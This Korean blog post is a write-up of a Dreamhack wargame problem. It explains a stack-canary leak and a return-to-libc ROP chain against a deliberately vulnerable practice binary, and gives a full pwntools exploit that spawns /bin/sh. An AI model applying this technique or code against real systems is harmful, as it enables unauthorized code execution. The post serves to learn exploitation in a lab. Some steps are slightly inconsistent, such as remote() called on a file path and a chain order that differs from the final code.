본문 바로가기
드림핵/시스템해킹

드림핵 RTL 풀이 (노.복)

by 우도레미 2024. 9. 8.

RTL (Return to Library)

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh"; 
// 코드 영역에 /bin/sh를 코드 섹션에 추가하기 위함 
// ASLR 이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로 
// "/bin/sh"의 주소는 고정되어 있다. 

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");  // system 함수를 plt에 추가하는 곳 

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}
  • system 함수를 plt에 추가하는 부분
    • PLT에는 함수의 주소를 구하고 실행하는 코드가 적혀있다.
    • 만약 PLT에 아직 GOT로 찾은 함수의 주소가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.
    • ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다. ⇒ Return to PLT

익스플로잇 시나리오 작성

  1. NX 비트는 데이터 메모리 영역을 실행 불가능하게 만들어 공격자가 임의의 셸코드를 스택에 넣고 실행하는 것을 막는다. 따라서 우린 이미 실행 권한이 있는 코드 영역(바이너리와 라이브러리의 코드 영역)을 사용해야 한다.
  2. 이 문제에선 libc 를 이용하여 공격하는 Return to Libc(library) 로 문제를 풀이한다.

  1. 먼저 버퍼가 0x30 바이트인데 read로 0x100 바이트까지 입력받을 수 있는 취약점이 있다.
  2. 카나리가 적용되어 있으니 먼저 카나리를 구하여 우회할 수 있도록 한다.
  3. 카나리를 우회하기 위해 먼저 버퍼의 시작부터 rbp(sfp)까지의 거리를 구해야 한다.

총 64바이트 (0x40) 를 할당하는 것을 볼 수 있다.

필요한 크기를 생각해보면 buf 48(0x30) + 카나리(8) + 더미 (8) 이 필요한 것을 알 수 있다.

 

from pwn import *

p = remote("./rtl")
e = ELF("./rtl")
#context.arch = "amd64"

# buf 48, 카나리 8, 더미@ 8 = 64
payload = b'A'*0x38 + b'B' #b'A'*0x39 랑 같음 
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
print("카나리 값 :", hex(canary), "\n")
#gdb.attach(p)

 

4. 카나리 값을 구한 후 이제 두 번째 입력을 받는 곳에서 /bin/sh를 실행해야 한다.

5. binsh를 실행하기 위해 필요한 정보는 아래와 같다.

  • /bin/sh를 집어 넣은 주소
  • system()@plt의 주소

 

6. 현재 프로그램은 아래 변수로 이 부분을 직접 넣어 줬기 때문에 이 부분을 이용해야 한다.

const char* binsh = "/bin/sh";

 

binsh의 주소를 알기 위한 과정을 살펴보자 (잘 확인하자 → 이거 틀려놓고 다른데서 문제찾지 말자….)

gef 에선 변수의 값이나 메모리의 값을 확인할 수 있다. 드림핵에선 search 를 사용하라고 하지만 이건 pwndbg 경우이고 gef를 사용할 땐 다른 방법을 이용한다.

  1. 먼저 변수의 값을 확인하는 p 명령어는 print 로 변수나 레지스터의 값을 프린트 해준다. 근데 $를 해야 레지스터를 출력하는거지 변수를 출력할 땐 &를 해야 한다.. (이걸 모르니까 안나와서 이상한 주소 넣었지…)
  2. 메모리의 값을 확인할 수 있는건 x 명령어다. x 명령어도 변수를 찾을 땐 &을 사용해야 한다. 근데 x는 메모리의 값을 보여주는 것이기 때문에 이 명령어로 binsh 변수를 찾으면 주소값이 나온다. 하지만 이 주소는 binsh 변수의 위치를 나타내는 것이지 실제 ‘/bin/sh’ 가 있는 곳이 아니다.
  3. 그래서 binsh의 위치를 나타내는 주소를 확인 후 나오는 값에서 x/8i 명령어로 직접 확인해 보면 실제 ‘/bin/sh’의 시작 위치를 확인할 수 있다. 정말 정확하게 /bin/sh의 문자열 시작을 확인하고 싶으면 x/s [주소]를 넣으면 된다.

 

7. 이제 어떻게 system(”/bin/sh”)를 실행시킬 수 있을지 고민해야 한다. system@plt로 system 함수를 호출할 수 있다.

그리고 x86-64호출 규약에 따르면 함수 내부의 인자는 rdi, rsi, rdx, rcx 등의 순서로 들어가야 함수가 인자를 정확히 받아 호출되는 것이다.

 

8. 이를 위해선 리턴 가젯을 사용해야 한다.

 

 

리턴 가젯?


가젯?

먼저 가젯이란 프로그램에서 아주 짧은 코드 조각을 말한다. 보통은 단 몇 줄의 명령어들로 이루어져 있고, 프로그램 안에 이미 존재하는 코드들에서 찾아낼 수 있다. 컴퓨터 프로그램은 명령어들을 수넛대로 수행하는데 만약 우리가 원하는 명령을 강제로 실행하게 만들고 싶을 때 사용할 수 있다.

가젯을 이용하려면 먼저 프로그램이 어떤 부분에서 잘못될 수 있는지 찾아야 한다. 예를 들어, 어떤 가젯이 ‘ pop rdi; ret ’ 이라는 명령어로 구성되어 있다면, 이 명령어는 어떤 값을 rdi 레지스터에 넣고, 그 다음에 “리턴” 이라는 의미로, 원래 가야 할 주소로 다시 돌아가는 역할을 한다.

스택을 조작해서 가젯을 넣어도 한줄로만 이어지면 원하는 작업을 수행하게 만들 수 있다.

리턴 가젯?

단순히 ret 명령어로 구성된 가젯이다. ret 명령어는 프로그램이 다음에 실행해야 할 코드의 주소를 스택에서 꺼내서 실행하게 만든다. 이때 스택이 맞게 정렬되어 있어야 하는데, 그렇지 않으면 프로그램이 충돌하거나 잘못된 명령어를 실행하게 된다. 그래서 때때로 프로그램을 안정적으로 조작하기 위해 리턴 가젯을 여러 번 사용하여 원하는 코드가 실행될 수 있게 한다.

사용하는 이유

현재 Nx 보호 기법의 사용으로 메모리가 쓰기 기능만 되어 있고 실행 기능은 안 되는 경우에 사용가능 하다. 우리가 직접 코드를 메모리에 넣고 실행할 수 없는 환경에서 가젯을 사용해서 이미 존재하는 코드 조각들을 연결하여 원하는 동작을 만들어 내는 것이다.


그래서 우리는 리턴 가젯을 활용하여 필요한 가젯들을 스택에 집어넣는 페이로드를 만들 것이다.

그럼 스택에 집어넣는 순서는 다음과 같다.

  1. 먼저 system@plt를 호출하여 함수를 시작하고
  2. /bin/sh 의 문자열 주소를 넣는다. (아직 문자열)
  3. 그리고 pop rdi;ret 가젯의 주소를 넣으면 pop rdi로 /bin/sh가 인자로 들어간다. 그리고 ret로 다음으로 실행할 명령어로 이동한다.
  4. 그리고 가장 중요한 ret를 한번 더 넣어줘야 한다.

 

정말 잘 알려주시던 글.. : https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/

 


왜 ret를 한번 더 할까?

system 함수의 stack alignment 규칙 때문이다.

stack의 top이 16의 배수로 유지된 상태이며 메모리의 access cycle을 최소한으로 줄이기 위해 사용한다. 그러니까 프로그램의 프름이 함수의 entry로 옮겨지는 시점엔 항상 rsp가 16의 배수여야 한다.

 

call, ret

call을 하면 subroutine에 프로그램 흐름이 잠시 넘어갔다가 나와야 하기 때문에 자동으로 리턴 정보를 저장한다. 그리고 그 리턴 정보는 stack에 push 되기 때문에 call 을 실행한 뒤엔 RSP 값이 8만큼 감소한다. 따라서 정상적으로 호출된 함수의 entry point 에선 RSP+8이 16의 배수가 되는 것이다. (물론 call을 실행한 직후엔 일시적으로 stack align이 깨지지만..)

——————————→ 이걸 해결하는게 call에 포함되어 있는 ret 다.

ret에선 사실 pop rip와 jmp rip가 합쳐진 것이다. call 이 저장해놓은 리턴 정보를 스택에서 빼내어 jmp한다. 즉, rsp가 8만큼 증가한다는 것이다.

정리

call : RSP -= 8 (일시적으로 stack align을 깸)

ret : RSP += 8 (leave 명령어로 깨진 stack align을 다시 맞춤)

그러니까 우리는 ret로 함수를 호출하기 때문에 stack alignment가 깨지게 되니 한번 더 ret를 넣어서 맞춰줘야 하는 것이다 !!

 

9. 그럼 이제 가젯을 찾아야 한다. 가젯을 찾는 방법으로는 아래 명령어를 입력한다.

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

 

10. 이제 system plt 의 주소를 찾는다

 

11. 구한 가젯들의 주소를 p64로 잘 패킹해 준 후 페이로드에 넣어준다. 

 

 

최종 익스플로잇 코드 

from pwn import *

p = process("./rtl")
e = ELF("./rtl")
context.arch = "amd64"

# buf 48, 카나리 8, 더미@ 8 = 64
payload = b'A'*0x38 + b'B'
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
print("카나리 값 :", hex(canary), "\n")
#gdb.attach(p)

ret_g = 0x400285 # ret 한번 더! 
pop_rdi_ret = 0x0000000000400853
bin_sh_addr = 0x400874
system_plt_addr = 0x00000000004005d0
# system_plt_addr = e.plt['system'] 으로도 구할 수 있더라. 

payload2 = b'A' * 0x38  # 버퍼 채우기
payload2 += p64(canary)  # 카나리 값
payload2 += b'B'*0x8  # 더미 값 (rbp)

payload2 += p64(ret_g)
payload2 += p64(pop_rdi_ret) # "pop rdi; ret" 가젯
payload2 += p64(bin_sh_addr) # "/bin/sh"의 주소
payload2 += p64(system_plt_addr) # "system@plt" 주소

p.sendafter("Buf: ", payload2) 

p.interactive()

 

 

 

이거 어떻게 없애는지 아시는 분..

 

 

'드림핵 > 시스템해킹' 카테고리의 다른 글

드림핵 Return to Shell 풀이  (0) 2024.09.03